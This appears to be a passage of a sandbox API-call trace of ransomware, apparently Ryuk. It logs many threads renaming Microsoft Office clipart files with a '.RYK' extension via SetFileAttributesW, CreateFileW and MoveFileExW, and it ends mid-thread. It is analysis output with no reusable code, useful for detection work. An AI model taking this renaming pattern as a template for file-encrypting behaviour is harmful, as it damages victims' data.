	[0194.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0194.013] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0194.013] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1400
	os_tid = 0x1b88

	[0194.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF", dwFileAttributes=0x80) returned 0
	[0194.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0194.178] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0194.178] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1401
	os_tid = 0x1b8c

	[0194.018] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF", dwFileAttributes=0x80) returned 0
	[0194.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0194.180] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0194.180] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1402
	os_tid = 0x1b90

	[0194.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF", dwFileAttributes=0x80) returned 0
	[0194.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0194.021] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0194.021] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1420
	os_tid = 0x1b94

	[0194.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF", dwFileAttributes=0x80) returned 0
	[0194.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0194.182] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0194.182] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1421
	os_tid = 0x1bdc

	[0194.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF", dwFileAttributes=0x80) returned 0
	[0194.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0194.184] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0194.184] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1422
	os_tid = 0x1be0

	[0194.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF", dwFileAttributes=0x80) returned 0
	[0194.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0194.186] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0194.186] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1423
	os_tid = 0x1be4

	[0194.317] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF", dwFileAttributes=0x80) returned 0
	[0194.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0194.711] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0194.711] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1424
	os_tid = 0x1be8

	[0194.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF", dwFileAttributes=0x80) returned 0
	[0194.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0194.985] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0194.985] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1425
	os_tid = 0x1bec

	[0194.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF", dwFileAttributes=0x80) returned 0
	[0194.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0194.987] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0194.988] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1426
	os_tid = 0x1bf0

	[0194.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF", dwFileAttributes=0x80) returned 0
	[0194.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0194.990] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0194.990] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1427
	os_tid = 0x1bf4

	[0194.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF", dwFileAttributes=0x80) returned 0
	[0194.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0194.992] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0194.992] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1428
	os_tid = 0x1bf8

	[0194.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF", dwFileAttributes=0x80) returned 0
	[0194.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0194.994] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0194.994] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1429
	os_tid = 0x1bfc

	[0194.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF", dwFileAttributes=0x80) returned 0
	[0194.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0194.996] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0194.997] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1430
	os_tid = 0x1688

	[0194.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF", dwFileAttributes=0x80) returned 0
	[0194.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0194.999] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0194.999] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1448
	os_tid = 0x1c50

	[0195.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF", dwFileAttributes=0x80) returned 0
	[0195.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0195.001] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0195.001] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1449
	os_tid = 0x1c54

	[0195.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF", dwFileAttributes=0x80) returned 0
	[0195.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0195.004] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0195.004] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1450
	os_tid = 0x1c58

	[0195.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF", dwFileAttributes=0x80) returned 0
	[0195.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0195.422] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0195.422] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1451
	os_tid = 0x1c5c

	[0195.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF", dwFileAttributes=0x80) returned 0
	[0195.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0195.008] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0195.008] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1452
	os_tid = 0x1c60

	[0195.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF", dwFileAttributes=0x80) returned 0
	[0195.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0195.424] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0195.424] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1453
	os_tid = 0x1c64

	[0195.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF", dwFileAttributes=0x80) returned 0
	[0195.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0195.426] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0195.426] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1454
	os_tid = 0x1c68

	[0195.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF", dwFileAttributes=0x80) returned 0
	[0195.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0195.428] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0195.428] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1455
	os_tid = 0x1c6c

	[0195.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF", dwFileAttributes=0x80) returned 0
	[0195.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0195.017] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0195.017] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1456
	os_tid = 0x1c70

	[0195.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF", dwFileAttributes=0x80) returned 0
	[0195.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0195.430] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0195.430] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1457
	os_tid = 0x1c74

	[0195.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF", dwFileAttributes=0x80) returned 0
	[0195.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0195.432] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0195.432] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1468
	os_tid = 0x1ca0

	[0195.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF", dwFileAttributes=0x80) returned 0
	[0195.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0195.434] CloseHandle (hObject=0xffffffffffffffff) returned 0
